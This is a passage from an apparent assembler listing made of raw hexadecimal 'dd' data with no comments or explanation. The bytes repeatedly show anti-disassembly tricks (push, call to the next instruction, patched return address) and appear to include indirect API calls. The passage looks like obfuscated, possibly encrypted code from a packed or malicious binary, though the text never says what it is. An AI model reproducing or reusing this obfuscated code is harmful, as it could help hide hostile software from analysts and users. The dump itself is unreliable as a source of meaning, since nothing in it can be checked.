24F2614Ah, 0ED6F3355h, 2F9004AEh, 516CF843h, 0B0EB7E32h dd 22F9100Ah, 36E67E5Fh, 7FC7h, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) dd 2D31E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0E167ED52h, 957610BEh, 10E9FC21h dd 0BD000000h, 340C6E14h, 27C6862h, 18C4DA06h, 0F490B41h dd 680h, 91958900h, 8B064829h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 26786617h dd 2729B589h, 0BD830648h, 6481299h, 83097500h, 480D35BDh dd 13740006h, 0C08B5350h, 1B8h, 69D8D00h, 0FF064AA3h, 83585BD3h dd 480D35BDh, 11740006h, 1B85350h, 8D000000h, 4AA1B79Dh dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0E33C70E7h, 18259589h, 0D88B0648h dd 9D33C08Bh, 6482895h, 0D6DBD83h, 0F000648h, 1ED84h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 95895FFAh, 6482991h, 0CE9h, 0A984C200h, 0AFABC5A7h dd 0B2B82162h, 0E5BD8345h, 64808h, 1AC840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 60B9FEC3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 28C35646h, 8BD60C30h, 48062995h, 21BD8906h, 8B06482Ch dd 4808E585h, 0E805F906h, 8B000003h, 8E890D6h, 0FE000000h dd 6BE5E399h, 66E77466h, 5B702CBAh, 4810F50h, 66000000h dd 90F1A9BAh, 3E858DFCh, 6A06484Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EF8FC353h dd 0FE95Fh, 0A2FE0000h, 8AAFA342h, 826296A2h, 0E6E05ECAh dd 47BB50D1h, 890693A1h, 0B5892404h, 648318Dh, 4E1C858Dh dd 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0B9A9AEC3h, 9F0775F8h, 9D8B8924h, 6482B29h dd 0C8E0F50h, 0F000000h, 68Ch, 890F00h, 89000000h, 952B2404h dd 6482B7Dh, 286195FFh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0AB8536C3h, 8160FBEFh dd 54ABC7D8h, 5E91Ah, 0C1BE0000h, 61672782h, 0C4839FB3h dd 0D281660Ch, 858D9437h, 6484E1Ch, 0AD8D8960h, 0F506480Ah dd 0D38B9061h, 909DB650h, 0B299589h, 95310648h, 6481215h dd 952B026Ah, 6483215h, 857495FFh, 6A0068h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0BEA18EC3h dd 0B58580D0h, 3BBAA4EBh, 61740689h, 15B19D01h, 85C70648h dd 6484E4Fh, 1, 335D9D29h, 0E9500648h, 0Bh, 0CAA718FAh dd 548796C1h, 8984F6E3h, 958B2434h, 6480945h, 4E00B589h dd 8B660648h, 0E5BD83DFh, 1064830h, 31850Fh, 8B660000h dd 5F883DEh, 25850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0B849C3h, 66000000h dd 83DEC8BAh, 480091BDh, 840F0006h, 50h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4AC35747h, 8F354BBEh dd 5F70E0B8h, 13E8h, 0E71A5900h, 20333945h, 0E88CB8ABh dd 832B97C9h, 8C11E455h, 0F61B529h, 0B75A0648h, 0B81Ah dd 85890000h, 64828EDh, 11958B60h, 8B06480Eh, 48155185h dd 0C083F806h, 89C2B302h, 484DF885h, 0D2816606h, 800FF7BEh dd 2, 0C6DE8Bh, 94EB81FFh, 8B4FC955h, 4817099Dh, 0F985C606h dd 5306480Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 5CC35646h, 0F3F70EBAh, 0D9B70F6Dh, 871B3E68h, 0DA8B6696h dd 0E6243481h, 6A6A3653h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 931FC356h, 0B5FFB510h dd 64829A9h, 6A98D31h, 858D0648h, 64B7F60h, 1CB98D89h dd 0D0FF0648h, 27B9958Bh, 85890648h, 648092Dh, 0D135BB66h dd 4B9BD83h, 0F010648h, 10385h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0CFF2D273h dd 0F6EA5D4h, 98Bh, 3810F00h, 80000000h, 6A616EE7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0FF7C351h, 0ABB3DFB7h, 0FF985C6h, 66450648h, 3B34E381h dd 858BA768h, 1CC4BAE0h, 348118C6h, 0E5B36524h, 56006A3Ah dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0B5FF0121h, 64829A9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0CEC35040h, 7E9B643h, 8D000000h, 49403592h dd 858DDDEEh, 64B7F60h, 3B18D89h, 0D0FF0648h, 5AF78A50h dd 0BCA6E381h, 6A7A6Bh, 8166ADB7h, 0FF41A8E2h, 52006AD0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 6C60CD29h, 0DEB6CD3Dh, 2781BD83h, 0F010648h, 0E685h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 51858BCAh, 6A064815h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 85CEC352h dd 0FD8CFBF3h, 608B5298h, 7E9F9h, 0C3F0000h, 0A4DEC8B7h dd 0C3806189h, 78E9A0h, 95890000h, 64805E9h, 8A90D98Ah dd 0BB6650D7h, 5190D212h, 170D8501h, 6A5B0648h, 52006A14h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 93DA7FD1h, 0BFFF05FDh, 6880F51h, 89000000h, 48120D8Dh dd 2D95FF06h, 0F064809h, 6A58D8BFh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0DD45C350h dd 29199D8Bh, 38800648h, 87850F00h, 8BFFFFFFh, 100C6D7h dd 61D78B66h, 0F5DBD83h, 0F000648h, 2F84h, 0E2806000h dd 158D33E1h, 6106482Bh, 8D89FF6Ah, 64829C5h, 92D95FFh dd 8D290648h, 648230Dh, 0E9D78B66h, 0FFFFFFE4h, 0DD958B50h dd 5B06482Bh, 0F5D85C7h, 10648h, 57560000h, 5C80BB66h dd 85895B5Bh, 6484E04h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0FBC35343h, 860F2F3Fh, 19h, 14E9h, 31DF0B00h dd 4370348Ah, 5D28EAF0h, 4F7327DEh, 36542CF1h, 4895079h dd 1A5EBB24h, 0E8607A50h, 8, 0E5973316h, 26786617h, 2CEA8166h dd 958B5BD3h, 6482B29h, 5E8056Ah, 0FA000000h, 753DA402h dd 5BD08B66h, 4E1C858Dh, 8B500648h, 240489DEh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A1C35545h, 0E11D4C94h dd 4E0C858Dh, 9D8B0648h, 6482839h, 6800Fh, 9D8B0000h, 6480DE9h dd 0F525090h, 28Dh, 0F616000h, 8E85631h, 8000000h, 0F7CBD160h dd 5BBB7126h, 50585A5Bh, 90D08B66h, 1C419D8Bh, 95FF0648h dd 64832A5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 66C35242h, 7AFF8D8Dh, 85290648h, 64803DDh, 1174C00Bh dd 4E1C858Dh, 0FF500648h, 3A8589D1h, 0EB06484Eh, 3A85C70Ah dd 0FF06484Eh, 31FFFFFFh, 48059185h, 0FDB50906h, 61064803h dd 85C69DB3h, 6480FF9h, 65BD294Dh, 68064810h dd 7EE4284Ah, 481D38Bh, 514E5E24h, 57006A25h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 9601C489h dd 0FBCFBB66h, 7BDB5FFh, 0DA8B0648h, 7F60858Dh, 6A064Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0C6FA3CC3h, 8912BA58h, 480CC595h, 6AD0FF06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0F896C353h, 0E95DADA8h, 0Eh, 648B5758h, 8DA0A30Dh, 0A450AB58h dd 85890B4Bh, 64815D5h, 18A0Fh, 33F50000h, 482B6995h, 0F985C606h dd 4506480Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0CAC35343h, 0EE9h, 0FF35900h, 8BE8959h, 8B5B1AA5h dd 8B72BA38h, 4E8DEh, 69690000h, 0B1B28E72h, 0F525050h dd 58Ah, 16B4BB00h, 310F485Ch, 585AD7B3h, 424448Bh, 0EE8h dd 0BAA86F00h, 0EB6D19C2h, 8EB5E6FCh, 0B3BA4E2Eh, 8B5A84h dd 44895EB6h, 0BB660424h, 8058AA00h, 0B5FFC1DBh, 64829A9h dd 8B66D08Bh, 60858DDFh, 89064B7Fh, 4803AD85h, 0E9D0FF06h dd 0Eh, 23C802F6h, 0A34B7C7Fh, 1D7CD906h, 8B667ED1h, 0D98589DAh dd 6A06481Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 3828C352h, 73EA8166h, 6AD28B47h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0BBEBC351h, 8B8FEF3Fh, 481AB19Dh, 0D98C6606h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 82C35141h dd 1755CCFAh, 1A399D8Bh, 0C1F60648h, 0E7840F04h, 6A000001h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 4533C353h, 0E9A4D7FDh, 102h, 9850Fh, 0BE600000h dd 70BAFA91h, 8B61C28Bh, 48182DB5h, 9E906h, 0F6F80000h dd 0ECA5A2F3h, 52E57FE2h, 815B08B7h, 1180C6h, 356BBA00h dd 0BD83172Eh, 64805B5h, 18850F00h, 8B000000h, 48139595h dd 0A8E906h, 800F0000h, 2, 8166DF8Bh, 83974BC3h, 840F003Eh dd 92h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh dd 7BC35242h, 67360A38h, 6CF761A0h, 0F59D8B8Ah, 60064807h dd 0F2816660h, 12E9E84Dh, 7A000000h, 0B96C9C7Eh, 2F11D9E5h dd 87A8323Bh, 0B91FB86h, 850F6179h, 1, 9146AF5h, 48318D9Dh dd 2D95FF06h, 66064809h, 32E6F381h, 55006A61h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 4A2F3AE5h dd 0E938D80Bh, 0FFFFFF6Bh, 0E19BD09h, 6C70648h, 1, 5E9h dd 2FA4000h, 0BD833DA4h, 6484E04h, 0B3850F05h, 66000000h dd 0FB91CA81h, 1AD9B58Bh, 6DBA0648h, 0B97E50D9h, 64h, 38C0F60h dd 66000000h, 0B966DA8Bh, 8061B5FCh, 840FE83Eh, 3Dh, 3359950Bh dd 5E90648h, 0A9000000h, 50E6710Bh, 38E9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0C33E53B4h, 8B812417h, 48119D9Dh, 57E8006h, 33840FC2h dd 89000000h, 4806C585h, 0B5014606h, 64815CDh, 9C850F49h dd 0E8FFFFFFh, 8, 0CDD10A65h, 0D79AD018h, 895BF2B2h, 481625B5h dd 10E906h, 0BA660000h, 0B5893E3Eh, 64822E5h, 1CD99D8Bh dd 6A580648h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 441BC355h, 25BFF389h, 833D0BB5h dd 4812D9BDh, 840F0006h, 0EFh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 1BC35343h, 8AD7B348h, 99F704FAh dd 89D2BF0Fh, 48203D9Dh, 8D896006h, 6480F55h, 0FF985C6h dd 81540648h, 9F5B31DAh, 185894Fh, 68064804h, 0FC7F1B23h dd 0B8A0Fh, 52500000h, 6BBB310Fh, 5A224ED5h, 24048158h dd 2CFA3D1h, 14019D8Bh, 85010648h, 64832D5h, 29A9B5FFh dd 0BF0F0648h, 60858DDFh, 0F064B7Fh, 68Ch, 0D59D8900h dd 0FF064819h, 87DE80D0h, 0D88A006Ah, 12D9B5FFh, 6A0648h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 8D0D56C3h, 0BA660B63h, 0D0FF8028h, 27D1B589h, 6A610648h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 48C1C350h, 0DD286A69h, 0F1B5892Fh, 0C7064822h dd 4812FD85h, 106h, 0F5BD0100h, 89064808h, 482A7DBDh, 6A6006h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 29F0C2C3h, 480EBD95h, 4E806h, 800000h, 0E9500000h, 6 dd 6D78F1Ah, 448BFB85h, 52500424h, 0DE8h, 225B9300h, 0A2E0FA2Eh dd 70338984h, 6E8CE48h, 0D7000000h, 0CEC20178h, 0F5B5A95h dd 0B6525031h, 60310F6Dh, 5A585A61h, 0BA008B58h, 12A49C28h dd 4244489h, 52505051h, 585A310Fh, 1585B5Ah, 48203DBDh dd 0D9D3306h, 6A064802h, 0AE8FFh, 4CAF0000h, 0E5FDB3AEh dd 0E42CE1C5h, 5E1B589h, 0FF5A0648h, 48203995h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0B143BFE1h, 99858997h, 8A064828h, 8D8961D4h, 64806A9h dd 6090D68Bh, 64DABF66h, 5061F38Ah, 2114D6BBh, 858B901Fh dd 6480BC9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0BEC35545h, 0C37BA643h, 764888C2h, 840FC00Bh, 0Bh dd 0B57BA66h, 1A5195FFh, 0C7F80648h, 48123985h, 106h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 123D9BCDh, 5840F96h, 0BA000000h, 50339468h, 0EE8F9h dd 7D0A0000h, 0B22DB9E4h, 0F4D807A8h, 8968B5F0h, 2FFD950Bh dd 835B0648h, 482981BDh, 840F0006h, 0Bh, 4CF5BBBBh, 3995FF50h dd 83064827h, 480E95BDh, 840F0006h, 4Ah, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 0F8C35646h, 53C6DD09h dd 0AE9h, 12CFA000h, 0B2206400h, 5AE6505Dh, 1A6595FFh dd 0FE90648h, 0E9000000h, 0BBC53706h, 5E14ED81h, 0FB698B8Ah dd 0BD838F72h, 6480135h, 99840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 308CC357h, 0DD9D89C0h, 0E9064832h, 13h, 0F06A0150h dd 882F68ABh, 99A8A40Fh, 0E27CC865h, 83BC08EFh, 480691BDh dd 850F0006h, 50h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 69C35141h, 95FFD78Bh, 6481CB5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EAC35040h, 0E9D4E3D2h dd 457B50C8h, 2D9D8B51h, 5A064832h, 2EC9BD83h, 0F000648h dd 6284h, 0AE900h, 80800000h, 0AB84B4D5h, 0FE7DB4CCh, 29B98581h dd 40030648h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 3B7D8BC3h, 2FF98581h, 40030648h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0C3F688C3h, 0FF8A90Fh, 0BD8D2931h dd 66064810h, 0FB97C381h, 5DFF8D8Dh, 958B0648h, 6481259h dd 0D98B0189h, 6AC233h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0CE93CC3h, 1A000000h, 0AC5D1605h dd 0A093EF93h, 8B98ED1Dh, 48186195h, 4418906h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 1EC35545h, 0EA91F8E5h dd 0E626D2BFh, 310FD58Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 80C35545h, 0EC1FD6B1h, 3FD78EBCh, 10018D89h dd 8D8D0648h, 6485E27h, 189DF8Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 54C35343h, 66D042B1h, 330838BBh dd 13E9C2h, 0BF560000h, 0F953856Eh, 0E851A10Bh, 6FEE2B14h dd 0E9653017h, 441899Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 3BC35646h, 29958BE2h, 8306481Bh, 480F05BDh dd 840F0006h, 14h, 91BD8951h, 5B064813h, 2B4D95FFh, 95010648h dd 6480D39h, 12D1BD83h, 0F010648h, 6185h, 0BE900h, 0D92D0000h dd 0F19DC549h, 0A40B5632h, 4CE9E4h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B045CCC3h dd 0CFD01355h, 8B664E42h, 0A4B58BD3h, 0C706485Fh, 6, 0CEB58B00h dd 0C706485Ch, 6, 0BEBACF00h, 0F0B5A74h, 0BA66DAB7h, 0BD838BD9h dd 6481239h, 8840F00h, 89000001h, 4816A19Dh, 0A5BD8306h dd 1064811h, 0E3850Fh, 9D030000h, 64815C5h, 4DF88D8Bh dd 95290648h, 648288Dh, 1C6D88Bh, 12E900h, 0DEF60000h dd 20980B8Ah, 0CE2A4426h, 7D5D012Dh, 0BCDFE0ADh, 0EE960h dd 99E50000h, 7EEF0838h, 0A1BD06BFh, 0F552AAD3h, 0A0AB7B68h dd 0DE883h, 0CA000000h, 25FA454h, 0FEFC23D7h, 0B2D3D87Ch dd 4815B4Ah, 5F550524h, 0FF6AF87Ch, 11800Fh, 8B0F0000h dd 0Bh, 6E9h, 9A95D900h, 0FF20DA1Ah, 48203995h, 299D8906h dd 61064820h, 0B70F09B6h, 5D95FFD6h, 8B06481Bh, 0F88D8BD0h dd 6A06484Dh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 3077C350h, 4ADDE585h, 0D2BF0F51h dd 6A01FEh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0B667D4C3h, 15BD83F5h, 1064804h, 5850Fh dd 93BB0000h, 8B52F0DBh, 0D1B70FC0h, 1299BD83h, 75000648h dd 35BD8309h, 6480Dh, 53501A74h, 858BC08Bh, 64829B9h, 29B98589h dd 9D8D0648h, 64AA464h, 585BD3FFh, 0D35BD83h, 74000648h dd 8B535018h, 4829B985h, 0B9858906h, 8D064829h, 4AA1539Dh dd 5BD3FF06h, 6D850158h, 8B06481Ch, 4828E19Dh, 79BAF806h dd 8B5A2867h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 228B9500h, 14FF747Eh, 3ADB529h, 0BD830648h dd 6481239h, 24850F00h, 89000000h, 4805A995h, 0E5BD8306h dd 64805h, 11840Fh, 0E8F80000h, 8, 98FA768Fh, 0E1140ED9h dd 835BD98Bh, 481239BDh, 840F0006h, 19h, 2821BD09h, 0BD830648h dd 64808D1h, 6840F00h, 81000000h, 4AF36DAh, 39BD8308h dd 64812h, 3B840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 9AA266C3h, 796646C1h dd 0C3816677h, 0BD83D49Dh, 64808D1h, 6840F00h, 2B000000h dd 48107595h, 39BD8306h, 64812h, 32840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 96E7E5C3h, 11BD835Dh, 64831h, 6840Fh, 0EA810000h, 676B720Fh dd 1239BD83h, 0F000648h, 4284h, 399D8900h, 83064817h, 483209BDh dd 840F0006h, 2Fh, 85D8D09h, 95FF0648h, 6480315h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4BC35141h, 81665023h dd 8BD50FCAh, 0DD8509C0h, 83064812h, 481299BDh, 9750006h dd 0D35BD83h, 74000648h, 8B53501Ah, 0F9858BC0h, 8906482Fh dd 482FF985h, 0CB9D8D06h, 0FF064AA4h, 83585BD3h, 480D35BDh dd 18740006h, 858B5350h, 6482FF9h, 2FF98589h, 9D8D0648h dd 64AA16Ch, 585BD3FFh, 0B1EA8166h, 6AF995h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0DCFAF2C3h dd 199D8B13h, 89064809h, 482C398Dh, 6AC08B06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 2634C351h, 8AFD36A0h, 50DCD468h, 0DE9h, 17AE8800h, 0A5AC8F69h dd 0CD9FE6F6h, 835A5306h, 481239BDh, 840F0006h, 45Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 55C35646h, 0B167FD15h dd 75D18293h, 15CD9D8Bh, 0BD830648h, 64804B9h, 4A840F02h dd 8B000000h, 48172D95h, 0D1BD8306h, 1064812h, 37850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0E80671C3h, 0Eh, 0CF012FB7h, 0CBCD02EDh dd 88D31FE3h, 0F281BE73h, 22BD95A9h, 51BD835Bh, 64806h dd 84840Fh, 9D8B0000h, 6481491h, 0E6ABB60h, 0EE805CEh dd 99000000h, 0EF5FE744h, 77AFA6AFh, 0E6CE558Dh, 0D5BD89A7h dd 5A06480Ah, 4DF88D8Bh, 0E2810648h, 15CE2557h, 6A01FEh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0BA5F3FC3h, 77886921h, 91B5F468h, 26BA66D4h, 240481BEh dd 2B6E4A8Ch, 31758589h, 0FF6A0648h, 17798D89h, 95FF0648h dd 6482039h, 61D88B66h, 0ED72C381h, 23602BF1h, 4808799Dh dd 0F88D8B06h, 6A06484Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0CFA2C355h, 0FE9E484h dd 8C000000h, 0EF8239F2h, 4F943AA8h, 8A871C08h, 1FEE00Ah dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E9C35242h dd 4E88436h, 80000000h, 66000000h, 508D73BBh, 840Fh, 448B0000h dd 8B0424h, 4489DAB2h, 52500424h, 0FD78B66h, 0D18B5331h dd 58585A5Bh, 311D9589h, 0F2810648h, 3B5B5F4Fh, 0B70FFF6Ah dd 3995FFD3h, 6A064820h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 456BC350h, 0D8A2EC65h dd 81F427C9h, 8822C3CAh, 6BBB6126h, 89160A23h, 482AD18Dh dd 45BD8D06h, 6A064801h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 24EDC353h, 85D0A927h dd 8B661F45h, 8BDA8BD8h, 0C6801C4Fh, 6A016A85h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 935C352h, 48000995h, 8B0F5006h, 0Dh, 8E9h, 8E568F00h dd 435CFC49h, 240C89BCh, 858D5B51h, 64B390Bh, 18B0Fh, 0FFF90000h dd 7D958BD0h, 8B064829h, 9D8B204Fh, 64811D1h, 0B70F036Ah dd 0CB8166D7h, 0F50A8AEh, 86h, 240C8900h, 8D8BDB80h, 4B390B85h dd 9AF28106h, 0FF139546h, 1B589D0h, 8D064804h, 480145BDh dd 4A86BA06h, 4F8B20CCh, 6DBD891Ch, 0E9064812h, 12h, 0E9EAB6Eh dd 96D8C9D3h, 5DADA8F8h, 0ECA2B831h, 16A8D51h, 13E9h, 72845D00h dd 5B0F8512h, 0E079A96Eh, 0FAAB2A2Bh, 0EDCE77Bh, 8983B650h dd 6A240Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 7EC1E2C3h, 49B76399h, 0B21958Bh, 8B660648h dd 0B858DDEh, 29064B39h, 4813298Dh, 0B90FBA06h, 0D0FF13B7h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0F3C35343h dd 0C7F7F2AAh, 1EF0B7C4h, 85895A52h, 6480DDDh, 6A204F8Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0D46CC351h, 13099503h, 36A0648h, 6E52EA81h dd 50506BDCh, 61606052h, 0F310F61h, 683h, 0F525000h, 5A585A31h dd 240C8958h, 28C1958Bh, 858D0648h, 64B390Bh, 0D0FFD4B6h dd 1B218531h, 8D8B0648h, 6484DF8h, 21C5BD89h, 1FE0648h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A0C35343h dd 0F68D9E48h, 858B083Eh, 6484DF8h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 9CC35747h, 0DA59D2Bh, 77B20648h dd 0BF0F00FEh, 66016AD6h, 681F65BAh, 0DB672224h, 48135B6h dd 987DDB24h, 4D952B24h, 8D06481Bh, 4B391585h, 0FFDC8A06h dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 3D66021Ch, 0BD83030Fh, 64805E5h, 0B5840F00h dd 53000000h, 0B589F960h, 64807D9h, 0BD835B61h, 64830E5h dd 9D850F01h, 0F000000h, 8D8DDFBFh, 64B391Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 42C35343h, 357FB21Ah dd 6A54BD0Bh, 5FCB8103h, 6A290395h, 52006A01h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 6DCC12E3h dd 0C78BB880h, 81958998h, 0FF064807h, 9D2950D1h, 6480BC5h dd 458D295Bh, 6A06480Ah, 0D0B70F01h, 9589016Ah, 6480489h dd 0EE9D1FFh, 2C000000h, 4F49135Ch, 4E307AF7h, 0E4EF8E24h dd 5CDFE8E3h, 958BFA13h, 6480421h, 6660206Ah, 6C7AE381h dd 0FE82BA66h, 89606061h, 480839B5h, 810F06h, 61000000h dd 69D9529h, 6A610648h, 0AEBB66FFh, 5BF85764h, 203995FFh dd 0DA810648h, 28BEE751h, 0B8h, 0A840F00h, 60000000h, 0D7815B52h dd 22C8A789h, 0B23B761h, 51840FC0h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0EFDBC353h, 649CF6EBh, 0D68B2A0Ch, 2B2DBD83h, 0F000648h dd 1F84h, 0AD958B00h, 0FF064812h, 48099595h, 66606006h dd 8BFD71BBh, 48299DB5h, 0E7BA6106h, 617D1D9Dh, 1551858Bh dd 0CE90648h, 0D9000000h, 1C617763h, 0DBF903AEh, 0C6D0B911h dd 0BB660000h, 6A580B97h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0D633C352h, 0D18BB259h dd 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0E959C356h, 9, 0EB6A2A88h, 66B13023h dd 4C1F622h, 64840Fh, 8D0F0000h, 4, 0D71BA66h, 55E9h, 0DE900h dd 23CC0000h, 0CF5C2823h, 49F7B41Eh, 8B8E6C7Bh, 48182DB5h dd 0E2DB8106h, 810148F7h, 1180C6h, 0AD952900h, 0C7064827h dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 358E4A18h, 89699954h, 665E572Eh dd 0F883D08Bh, 0AD840F00h, 8900000Bh, 480B29BDh, 1F88306h dd 136850Fh, 0E9600000h, 0Eh, 2785BABDh, 0F1B61F20h, 0E19AC295h dd 0B8614AFBh, 0 dd 8BDF8B66h, 480BE19Dh, 0FC00B06h, 8C84h, 0AD8D8900h dd 83064827h, 840F01F8h, 0BDh, 68D0Fh, 95890000h, 6480635h dd 0F03F883h, 2684h, 79958900h, 0B8064818h, 0 aXJnTy db '»ÔX¹J½ty[',0 db 29h dd 4826E9BDh, 51E7FF06h, 0F9D8D09h, 0B85A0648h, 1, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 61C35242h, 9D0930E1h dd 6483001h, 2058531h, 0BD8D0648h, 5B7974h, 20198D89h dd 0E7FF0648h, 5AF28166h, 84BD8DCBh, 6A064844h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 774BC353h, 0DAB70F59h, 350E9h, 9E800h, 0FCC0000h, 18A160B8h dd 0BB5F19B4h, 337F0884h, 5385C75Bh, 506484Eh, 66000000h dd 5B8D68Bh, 8A000000h, 9ECE9DCh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 6159F7C3h dd 0F281EEAEh, 40F6CD23h, 0F02F883h, 16785h, 57006A00h dd 3E8h, 0C35F2000h, 